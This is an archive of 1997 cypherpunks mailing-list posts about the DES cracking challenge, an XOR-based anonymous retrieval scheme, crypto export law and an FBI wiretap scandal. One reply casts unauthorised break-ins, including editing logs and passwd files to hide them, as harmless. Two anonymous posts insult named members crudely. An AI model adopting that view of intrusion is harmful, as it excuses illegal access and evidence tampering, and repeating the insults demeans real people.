"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 19 Jun 1997 09:56:21 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: The Tao
In-Reply-To: <199706182153.RAA14958@dhp.com>
Message-ID: <Pine.BSF.3.91.970618202527.28358B-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 18 Jun 1997, lucifer Anonymous Remailer wrote:

> Rabid Wombat wrote:
> > 
> > The Tao of heaven is like the bending of a bow.
> > The high is lowered, and the low is raised.
> > If the string is too long, it is shortened;
> > If there is not enough, it is made longer.
> 
>   I had a boyfriend like that once.
> 
> TruthMistress
> 

The female overcomes the male with stillness,
Lying low in stillness.

-r.w.
"A good marsuipal leaves no tracks."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Thu, 19 Jun 1997 12:46:00 +0800
To: Declan McCullagh <cypherpunks@toad.com
Subject: Re: Award from Computer Press Ass'n (shamelessself-congratulation)
In-Reply-To: <v0300780fafce1cc01edb@[168.161.105.191]>
Message-ID: <v0300789aafce6351d515@[207.94.249.152]>
MIME-Version: 1.0
Content-Type: text/plain



At 4:18 PM -0700 6/18/97, Declan McCullagh wrote:
>I just learned that Brock Meeks and I won the top award for "Best Online
>Feature" from the Computer Press Association during its 12th annual awards
>ceremony in New York City. Our winning article was the investigative story
>"Keys to the Kingdom" that exposed the hidden agendas of so-called blocking
>software programs. It ran in CyberWire Dispatch last July.

Congratulations.  It was an important story.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 19 Jun 1997 10:55:05 +0800
To: sameer <sameer@c2.net>
Subject: Re: HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
In-Reply-To: <199706190155.SAA08785@gabber.c2.net>
Message-ID: <Pine.BSF.3.91.970618211910.28358K-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain





On Wed, 18 Jun 1997, sameer may have penned some advertising:

> 	  HACKERS SMASH U.S. GOVERNMENT ENCRYPTION STANDARD
> 
> Oakland, California (June 18, 1997)-The 56-bit DES encryption
> standard, long claimed "adequate" by the U.S. Government, was
> shattered yesterday using an ordinary Pentium personal computer

... and quite a few other assorted systems that didn't happen to 
search the "lucky keyspace." Was anyone on DESCHALL using a Trash-80? ;)

> INetZ vice president Jon Gay said "We hope that this will encourage
> people to demand the highest available encryption security, such as
> the 128-bit security provided by C2Net's Stronghold product, rather
> than the weak 56-bit ciphers used in many other platforms."

Of course.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 19 Jun 1997 10:27:33 +0800
To: cypherpunks@cyberpass.net
Subject: Re: DESCHALL Press Release (fwd)
In-Reply-To: <199706182318.QAA29014@zipcon.net>
Message-ID: <v0302091aafce44d8be15@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:08 pm -0400 on 6/18/97, Jeff Simmons wrote:

> You might call it luck, but at the time the key was found, the combined
> keyspace searched by the three groups was a bit over 50%, even counting
> in the expected number of duplicate keys searched.

Which, of course, is the expected time to find a key in any random search.

Statistics: It ain't a good idea, it's reality. :-).

Stochastically yours,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Thu, 19 Jun 1997 13:51:31 +0800
To: twinsvideo@infosel.net.mx
Subject: Re: INFORMATION
In-Reply-To: <Chameleon.970618185549.twinsvideo@infosel.infosel.net.mx>
Message-ID: <3.0.2.32.19970618221325.01cf2b00@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



At 06:46 PM 6/18/97 PDT, twinsvideo@infosel.net.mx wrote:
>
>donn't think that i'm lame or somthin' but i realy need information on how
to hack so, could you please tell me how to hack 
>and what do i need in order to hack.

I suggest really strong turkish cigarettes.  Smoke them constantly and soon
you will be hacking before you know it.

>don't worry i won't get into trouble.

Depends on the age of tobacco purchace in your state.  You might have to
get into High School before trying the above method.

>please hurry it's urgent.

That is what they all say...


---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Thu, 19 Jun 1997 10:40:14 +0800
To: Steve Schear <azur@netcom.com>
Subject: Re: Bob quoted in DowJones Markets magazine
In-Reply-To: <v03020908afcc9f662d98@[139.167.130.246]>
Message-ID: <v0302091cafce47645743@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain



At 9:59 pm -0400 on 6/18/97, Steve Schear wrote:


> "Atoms to Bits: The Future of Money," in the June/July edition of Markets
> magazine (page 17), appears to have an unattributed quote from our very own
> Bob Hettinga:

Yeah. the guy who wrote it said that he did attribute it to me, but since I
was "someone the average Telerate user wouldn't recognise", the copy
editors killed it.

Maybe I should write a letter to the editor or something, but I seem to be
aspiring to lethargy on the issue at the moment...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 19 Jun 1997 04:37:58 +0800
To: cypherpunks@cyberpass.net
Subject: NoneRe: Recipient Anonymity
Message-ID: <199706182024.WAA28920@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Matt Ghio wrote:

> A group of servers collects messages of equal length for anonymous
> recipients.  All servers exchange messages so that each has copies of all
> messages.
> 
> A recipient wishes to retrieve a message from the servers without any
> server knowing which message he is receiving.  The recipient selects a
> group of n servers.  From each server, S_1...S_n-1, he requests a random
> selection of messages, with a 50% probability that any particular message
> will be selected.  The server returns the xor of all messages requested.
> He sends the final server a request which is the xor of all the previous
> requests and the one single message that he wants.
> 
> The xor of all the responses is the desired message.  It is impossible to
> determine which message was received unless all servers collude.


So what you're saying is:

                             - Messages - 
           A B C D E F G H I J K L M N O P Q R S T U V W X Y Z

Server 1:  1 0 1 1 0 1 0 0 1 0 1 0 0 0 1 0 1 1 0 1 0 1 0 0 1 1
Server 2:  0 1 1 0 1 1 1 0 1 0 0 0 1 0 0 1 0 1 0 1 0 0 0 1 0 0
Server 3:  1 1 0 1 1 0 1 0 0 0 1 0 1 0 1 1 0 0 0 0 0 1 0 1 1 1


So server 1 sends back the xor of messages A,C,D,F...Z; server 2 sends
back the xor of B,C,E,F,G...etc.  The xor of all of that cancels out
everything except Message Q.  But as long as at least one of the servers
doesn't keep logs then nobody will know that except the person who
downloaded it. 

Clever.  It sure beats reply-blocks.  :)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 19 Jun 1997 12:19:35 +0800
To: cypherpunks@EINSTEIN.ssz.com
Subject: index.html
Message-ID: <199706190345.WAA03874@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



   CNN logo 
   US navbar 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Main banner Start your retirement planning using Portrait Planning.
   Click Here. 
   
     rule
     
             REPUTED MOBSTER'S ADMISSION MAY CAUSE CASE TO CRUMBLE
                                       
      Mercurio
     
     June 18, 1997
     Web posted at: 9:47 p.m. EDT (0147 GMT)
     
     BOSTON (CNN) -- The trial of reputed mob boss Frank "Cadillac"
     Salemme was thrown into disarray Wednesday when mob journeyman
     Angelo "Sonny" Mercurio told a U.S. District Court he had been an
     informant for the FBI.
     
     The dramatic admission came after federal Judge Mark Wolf asked
     Mercurio if he had been an informant for the FBI in 1989 -- the same
     year his pals were being wiretapped by the agency. Mercurio, who is
     serving time in Georgia for marijuana possession, faced a jail
     sentence for contempt if he did not answer the question.
       _______________________________________________________________
     
  PEG TYRE's report as seen on CNN
  
      VXtreme logo VXtreme Streaming Video 
       _______________________________________________________________
     
     
     
     "Yes," he replied in a loud and clear voice. His disclosure could
     threaten the government's case against Salemme, the reputed head of
     the New England Mafia, and four other reputed mobsters.
     
     Mercurio's answer raises questions about whether the Justice
     Department misled a federal judge to get a wiretap that helped lead
     to the conviction of other organized crime figures.
     
     Judges will not grant wiretaps if they know authorities
     haveinvestigative alternatives, such as informers.
     
     "It is an important part of a mosaic that we're going to build to
     argue that there has been outrageous government misconduct in this
     case and ask for a retrial," defense attorney John Mitchell said.
     
     Salemme's lawyers say they'll ask that the wiretaps be thrown out.
     If the judge agrees, the case against Salemme, as well as mobsters
     already convicted on wiretap evidence, could be in jeopardy.
     
  Judge says government's credibility is at stake
  
     
     
     The government's case against Salemme hinges on a wiretap recording
     of a ceremonial induction into the Patriarca crime family in
     Medford, Massachusetts, in 1989.
     
     The wiretap information led to convictions against Salemme's alleged
     predecessor, Raymond "Junior" Patriarca, and several others.
     
     Mercurio's admission proved the FBI lied in sworn statements they
     used to get permission for the tap. Agents claimed they needed the
     electronic surveillance of the induction, when instead they had
     Mercurio on the inside to help them. Scarpa
     
     "The entire premise and entire foundation of the tap may well be
     rotten, and the tape will be suppressed," defense attorney Anthony
     Cardinale said.
     
     It also potentially undermines 20 major mob convictions in New
     England.
     
     "I think FBI agents have gotten the message from the courts and from
     Congress that in organized crime cases, anything goes," criminal
     defense attorney Gerald Shargel said.
     
     Wolf said he will continue to press to see if the FBI obtained other
     wire taps by providing false information. At issue he says is the
     credibility of the government in the eyes of its federal judges.
     
     Correspondent Peg Tyre contributed to this report  rule
     
  Read the next US story:
  
     * Negotiators optimistic about tobacco talks - June 18, 1997
       
     
  Related stories:
  
     * CNN - Federal jury convicts 12 suspected Mexican Mafia members -
       May 30, 1997
     * CNN - Mob bosses took a beating last year - Jan. 3, 1997
       
  Related sites:
  
     * US Mafia, Short History & Key Players
          + Patriarca, Raymond L.S.
     * CSS Organized Crime Menu
     * Gangsters!
     * The New Mafia Order A history of the mafia from Mother Jones
       Magazine
     * GANG LAND: The Jerry Capeci Web Page
       
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 19 Jun 1997 12:14:34 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706190401.XAA31109@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970618192907.007707dc@popd.ix.netcom.com>, on 06/18/97 
   at 07:29 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>5) Does US law have any say over whether you can import it from
>	the Nederlands to Turkey?  (Not really...)

Shhhhhhh... don't tell the State Dept. They think they have a say in what
the rest of the world does. Ofcource seeing how many governments cave in
to these little fasists bastards it's no wonder they think that they rule
the world.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6ivdY9Co1n+aLhhAQE7NgQAu5zF1HbjYE1ce7Q5bH1bzSw8h6uewcwM
v9An7rEKQXQgdF0IPtxKEfr3rkRzF2CmMe/+Gizuz+umLiIfCl9SwLflb0nXgwdx
Ftd3NRWQF52sTsS9PhCfs8/4Y7vZA+YjKo8fHHKK0c51px+3eoLHeyDMJCzJvPCM
iTU5/3ei+RA=
=CoLC
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 19 Jun 1997 12:14:12 +0800
To: cypherpunks@Algebra.COM
Subject: Re: [?????] PGP 5.0 Freeware is available from ???
Message-ID: <199706190403.XAA31145@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970618192907.007707dc@popd.ix.netcom.com>, on 06/18/97 
   at 07:29 PM, Bill Stewart <stewarts@ix.netcom.com> said:

>5) Does US law have any say over whether you can import it from
>	the Nederlands to Turkey?  (Not really...)

Shhhhhhh... don't tell the State Dept. They think they have a say in what
the rest of the world does. Ofcource seeing how many governments cave in
to these little fasists bastards it's no wonder they think that they rule
the world.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6iwCI9Co1n+aLhhAQGa0QP+IaAeYwvUQtVVOC9pKw7n1gYSsZcm9KVE
vVcuxiC9E1DU4EAwkbzpUlFweJiVucyaolt92fV1mamb9uBLk68ucg02cjhuXi92
LG4fJb4II9bhSWVxiKNbRrkJkTma/5lNCJaU+wOl28S9TFYfgIVd3JERmCf3nQYX
ZdhTf51uet8=
=acVF
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Thu, 19 Jun 1997 12:24:20 +0800
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: index.html
In-Reply-To: <199706190345.WAA03874@einstein.ssz.com>
Message-ID: <199706190418.XAA31337@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706190345.WAA03874@einstein.ssz.com>, on 06/18/97 
   at 10:45 PM, Jim Choate <ravage@EINSTEIN.ssz.com> said:

> Wolf said he will continue to press to see if the FBI obtained other
>     wire taps by providing false information. At issue he says is the
>     credibility of the government in the eyes of its federal judges.
>     

They have never had any credibility the federal judges have just had their
eyes closed.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM6izZI9Co1n+aLhhAQG+lwQAipizkBjFNmZHCXpogQBlSFxV7uzJoooO
N2TnzZQr5wtzZvDg4SPpbwj3Zocc8a1D/aPR0nIuY42fk98M6vVog7ZXtB+6CydY
555rlzikKSnW8e1pW124st7zKr7sBD3ZeFQjZOjjcu6woBobCf844TzLLQooYG/N
3WDCUFMghyE=
=9+ve
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 19 Jun 1997 14:41:50 +0800
To: cypherpunks@cyberpass.net
Subject: DES is dead. RC5 is next.
Message-ID: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Now that a stake has finally been put through the heart of DES, let's all
join in breaking RC5-56.

See my signature for details.

Thanks for you help,

--Lucky Green <shamrock@netcom.com>
  PGP encrypted mail preferred.
  DES is dead! Please join in breaking RC5-56.
  http://rc5.distributed.net/





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Thu, 19 Jun 1997 11:37:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Impact of Netscape kernel hole (fwd)
In-Reply-To: <Pine.GSO.3.96.970617151502.27880A-100000@linda.teleport.com>
Message-ID: <3.0.2.32.19970618232348.006df394@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Now that Netscape has included and made available a patch re: the "hole"
specifically for its new Communicator, does anyone have any info if and when
patches are going to be available for 3.x versions?  I didn't see anything on
their web page regarding 3.x versions except for the suggestion [old news] of
enabling the security alert.


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*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David Downey" <digital_matrix@hotmail.com>
Date: Thu, 19 Jun 1997 15:15:11 +0800
To: alan@ctrl-alt-del.com
Subject: Re: INFORMATION
Message-ID: <199706190656.XAA27541@f34.hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain





----Original Message Follows----
>From owner-cypherpunks@cyberpass.net Wed Jun 18 23:17:57 1997
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Date: Wed, 18 Jun 1997 22:13:25 -0700
To: twinsvideo@infosel.net.mx
From: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: INFORMATION
Cc: cypherpunks@toad.com
In-Reply-To: <Chameleon.970618185549.twinsvideo@infosel.infosel.net.mx>
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At 06:46 PM 6/18/97 PDT, twinsvideo@infosel.net.mx wrote:
>
>donn't think that i'm lame or somthin' but i realy need information on 
how
to hack so, could you please tell me how to hack 
>and what do i need in order to hack.

I suggest really strong turkish cigarettes.  Smoke them constantly and 
soon
you will be hacking before you know it.

>don't worry i won't get into trouble.

Depends on the age of tobacco purchace in your state.  You might have to
get into High School before trying the above method.

>please hurry it's urgent.

That is what they all say...

===================================================================

Hacking is something that you learn on your own. While there are a few 
folks that will show you the ropes, you have to learn on your own. 
Knowledge is precious, and even more so when you gain it through your 
own bllod sweat and tears.  I hope you really mean hacking, and NOT 
cracking. There are many of us in the hacking community that are ticked 
off because the media and the government have lumped us hackers in with 
the Crackers. Crackers are folks that enter systems for no other reason 
that malicous damage of systems and vital infromation. These folks are 
usually punk kids out to romp around Cyberspace doing damage for kicks. 
There are professional crackers but are usually hired by governments and 
major corporations for either "NAtional Security" reasons or plain old 
Corporate espianage. Hackers on the other hand, are folks that believe 
in the free exchange and flow of information, and yearn for knowledge. 
While they occationally do break into systems, it is usually only for 
the challenge of doing so and NOT with the intent of causing damage. 
Most hackers that enter systems, will usually clean up after themselves 
after merely looking around the system for awhile just to see what is 
there with no intent to cause harm, only making modifications to logs 
and passwd files to clear traces of their entry. They NEVER damage files 
intentionally and that is a MAJOR no no with most folks in the real 
hacking community. Some hackers even go so far as to tell they System 
Administrators of the systems they enter that they did so, and how they 
did it so the Admins may plug the holes.  Unfortunately, the government 
and the media have placed us within the same catagories as the 
Darksiders. I, for one, do hope you are a hacker and not trying to 
become a cracker.



---------------------------------------------------------
Get Your *Web-Based* Free Email at http://www.hotmail.com
---------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer Mixmaster Remailer <lucifer@dhp.com>
Date: Thu, 19 Jun 1997 12:14:09 +0800
To: cypherpunks@cyberpass.net
Subject: Declan as a Crime Beat Reporter
Message-ID: <199706190400.AAA00467@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain




> hee, hee, I hope that Declan comes up with an amusing mishmash of your
> own life. turnabout is fair play. maybe if he doesn't, someone else
> can take a stab at satirizing mr. debauched millionaire playboy
> who dabbles in cryptography theory.


An interview with cypherpunks founder Timothy C May, Jim Bell 
and various other Cypherpunks also present.
Interview conducted by Declan McCullagh


Declan: 

Tim, can you tell us how you first became interested in the use
of cryptography to preserve freedoms supposedly guaranteed by
the constitution.

Tim:

Well, I had just quit working at Intel, where I made more money than
all of you put together, when I really started to get interested 
in cryptography, At the first physical meeting, when John, Eric and I
had just founded the cypherpunks, we discussed anonymity, digital
cash and compared rifle collections.

Jim: 

Something wonderful is about to happen.

Tim:

No it isn`t, I thought of anonymous digital assasination contracts
first, now everyone calls it AP, and you get all the publicity 
(Tim reaches for his .45).

Declan:

Calm down, I`m sure it isn`t that simple.

Tim:

Yes it is, lets nuke D.C.

Dimitri:

Tim May blows small children, and is an anti semetic bigot.

Graham-John Bullers:

I think we should all send Vulis back 10 copies of this

Truthmonger:

Nuke Ottowa too.

Kent Crispin:

Nuking anywhere is just an adolescent fantasy

Vladimir Z Nuri:

I agree

Tim May:

No it isn`t, go away Kent.

Paul Bradley:

Yes indeed, nuke London as well.

Ray Arachelian:

There should be a law against this, surely it`s an infringement of privacy!

Dimitri:

Ray Arachelian is a dandruff covered censorous purebred sovok forger.

Se7en:

Lets hack their servers and erase all the kiddie porn.

Truthmonger:

I propose 3 minutes of silence for Tim McVeigh

Dimitri:

Ah, so you are trying to censor us then, Truthmonger is really Chris 
Lewis, who is also really Richard Depew.
ObTruthMongerFodder: Tim McVeigh is a murderous cocksucker

Hallam-Baker:

AP is a murder and censorship scheme.

Tim May:

I thought of this and wrote an essay on it back in `78 when most of
you were still in high school, I probably posted it once, trawl the
archives and you shall be enligtened.

Jerry K U-Ramos:

Break this, because we are so confident in the strenth of our cipher
we are giving you a week to cryptanalyse it, if you can`t, it must
be unbreakable.

Tim May:

This offer of a prize for cryptanaysis is highly suspect, I am now
placing rifles in strategic positions, lock and load.
I remember a similar offer back in `64, before most of you were born,
(mumble, mumble, mumble)...

Toto:

I`m sure the NSA have something to do with it, or is that the CIA, the 
FBI, the DEA ??? I don`t remember, but it`s some scary TLA composed 
entirely of men in long black coats.

Kent Crispin:

Lets be realistic about it, you are all obsessed with assasination.

Vladimir Z Nuri:

I agree (In a post only 3 seconds later than Kents original one, I wonder 
how that could happen? ;-)) 

Declan:

None of you understand, I have to attend dinner parties, like the one 
with Steve and Bill the other night, to get information for my articles.

Tim May:

I thought of this back in `84 too, I concluded that people should read 
what I say more carefully, and you *might* sell out in future.

Jim Bell:

Something wonderful is about to happen

Tim May:

Jim, you are killfiled for being a loon.

Declan:

Right, I`m sorry but we appear to have run out of time, we`ll have to go 
home.

Dimitri:

So you are trying to censor us then.
Declan McCullagh is a cocksucker

Tim starts packing the several dozen rifles he brought with him back into 
boxes.

Everyone gets in their cars to go home, except Tim May who brought his 
tank with him.


THE END






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Thu, 19 Jun 1997 12:52:10 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Declan as a Crime Beat Reporter
In-Reply-To: <199706190400.AAA00467@dhp.com>
Message-ID: <3.0.2.32.19970619004016.0069e770@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

At 12:00 AM 6/19/97 -0400, lucifer Mixmaster Remailer wrote:
>
>An interview with cypherpunks founder Timothy C May, Jim Bell 
>and various other Cypherpunks also present.
>Interview conducted by Declan McCullagh
>
<snipped>

Normally, I'd write this privately to the author but, in this case, you get a
public "hats off".  Obviously written by an individual who's been on cpunks
for a while.

Thanks for a good read....
  
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*********************************************************
Lynne L. Harrison, Esq.       |    "The key to life:
Poughkeepsie, New York        |     - Get up;
lharrison@mhv.net             |     - Survive;
http://www.dueprocess.com     |     - Go to bed."
************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 19 Jun 1997 19:22:42 +0800
To: cypherpunks@toad.com
Subject: Re: E-Cash
Message-ID: <199706191100.EAA28681@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May is another loser who pays for got.net because he lacks the 
mental capacity to gain net access as a perk of either employment 
or academic achievment.

          ((__)) Tim May
           (00)
          (o__o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Peter D. Junger" <junger@upaya.multiverse.com>
Date: Thu, 19 Jun 1997 16:45:40 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: DES is dead. RC5 is next.
In-Reply-To: <3.0.2.32.19970618232220.00756954@netcom9.netcom.com>
Message-ID: <199706190839.EAA28617@upaya.multiverse.com>
MIME-Version: 1.0
Content-Type: text/plain



Lucky Green writes:

: Now that a stake has finally been put through the heart of DES, let's all
: join in breaking RC5-56.
: 
: See my signature for details.
: 
: Thanks for you help,
: 
: --Lucky Green <shamrock@netcom.com>
:   PGP encrypted mail preferred.
:   DES is dead! Please join in breaking RC5-56.
:   http://rc5.distributed.net/

I would like like to help and I have two or three boxes that could
be used.  But the print on your web page is so small that I am not
sure I will be able to read the instructions.

Is there some reason for making the instructions so cryptic?

--
Peter D. Junger--Case Western Reserve University Law School--Cleveland, OH
 EMAIL: junger@samsara.law.cwru.edu    URL:  http://samsara.law.cwru.edu   
     NOTE: junger@pdj2-ra.f-remote.cwru.edu no longer exists





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Thu, 19 Jun 1997 20:53:43 +0800
To: cypherpunks@toad.com
Subject: Crypto-compromises in Washington: Burns offers ProCODE II
Message-ID: <Pine.GSO.3.95.970619052745.4976C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain



Rocke Verser's announcement couldn't have come at a
more embarrassing time for the White House. At 3:46 pm
yesterday, after five months of painstaking work, the
Colorado computer consultant fired off an excited
message to the DES challenge mailing list: "WE FOUND IT!"

Verser was talking about his group's successful crack
of a message scrambled with the 56-bit DES encryption
standard. When subjected to the massive computing
power of thousands of machines around the globe, the
enciphered message finally yielded the secret phrase,
"Strong cryptography makes the world a safer place."

That's exactly what the Clinton administration didn't
want to hear. For years top government officials have
argued the opposite, that strong cryptography makes
the world a less secure place where criminals and
terrorists can scheme with impunity. The White House
has long wanted to ensure that it can listen in to all
electronic communications through schemes like "key
escrow" or the Clipper Chip.

Today the Senate Commerce committee is scheduled to
vote on two competing crypto-bills, one backed by the
White House and one backed by industry and some
privacy groups. And now, I've learned, some of
cryptography's most loyal supporters on the Hill are
talking about cutting a deal...

---

I ran into Jim Bidzos, head of RSA Data Security
(which sponsored the DES challenge), at a party in the
Watergate last night. "Export regulations are a
dinosaur," he said. "But it's a dinosaur that'll take
out a lot of the city during its death struggles."
Bidzos is testifying before a House Science panel
today and plans to stress the problems of 56-bit DES;
only 128-bit DES is generally regarded as reasonably
secure...

---

Washington is a city of complexity, painful
complexity, when it comes to encryption. Three
different lawsuits are challenging the
constitutionality of last year's Federal
crypto-regulations. This year's Commerce Department
regulations add up to an eye-straining 16,000 words.
Four different bills are moving through Congress, and
the legislative jockeying is even more abstruse.

But throughout this muddle, one point remains clear:
The Clinton administration wants to hold on to the
status quo as long as possible. That means no judicial
or legislative tinkering -- and, above all, no general
lifting of export controls on encryption products.
Even as officials admit privately that attempts to
prop up these Cold War rules are eventually doomed,
they argue publicly that removing the rules would be
catastrophic. "The proliferation of unbreakable
encryption would seriously and fundamentally
threaten... critical and central public safety
interests," FBI director Louis Freeh said earlier this
month.

For Freeh, the best way to stall for time was to take
the battle to Congress. Earlier this week Sen. Bob
Kerrey (D-Neb.) and Sen. John McCain introduced a bill
that included everything Freeh and the White House
desired: sections creating new Federal crimes for some
uses of crypto and an all-but-mandatory key escrow
infrastructure. The goal: to facilitate government
access to any private data.

Privacy advocates leaped to savage it. "The bill
threatens any prospect of privacy and security in
electronic commerce and on the Internet by opening a
huge window of vulnerability to the private data and
communications of encryption users," the Center for
Democracy and Technology cried. EPIC's Dave Banisar
told me it was a "poison pill strategy designed to
kill" pro-crypto legislation.

The many problems with the bill normally would be bad
enough, but it's zooming through Congress at an almost
supersonic velocity. Thanks to the sponsorship of
McCain, the powerful Senate commerce committee chair,
the committee is scheduled to vote on it today,
without even holding hearings. This could mean the
death of a bill introduced last year, then
reintroduced this year by Sen. Conrad Burns (R-Mont.).
Called "ProCODE," privacy advocates say it's the best
of all the crypto bills in Congress (but then again,
that's not saying much).

---

In Washington politics, perhaps the worst thing that
can be said about you is that you're unwilling to
compromise. So it should come as no surprise that the
McCain-Kerrey bill prompted Burns himself to offer a
substitute ProCODE bill that will be unveiled at the
markup session today. "People would say Burns hasn't
moved on this issue and he's not willing to
compromise. He needs to put something on the table so
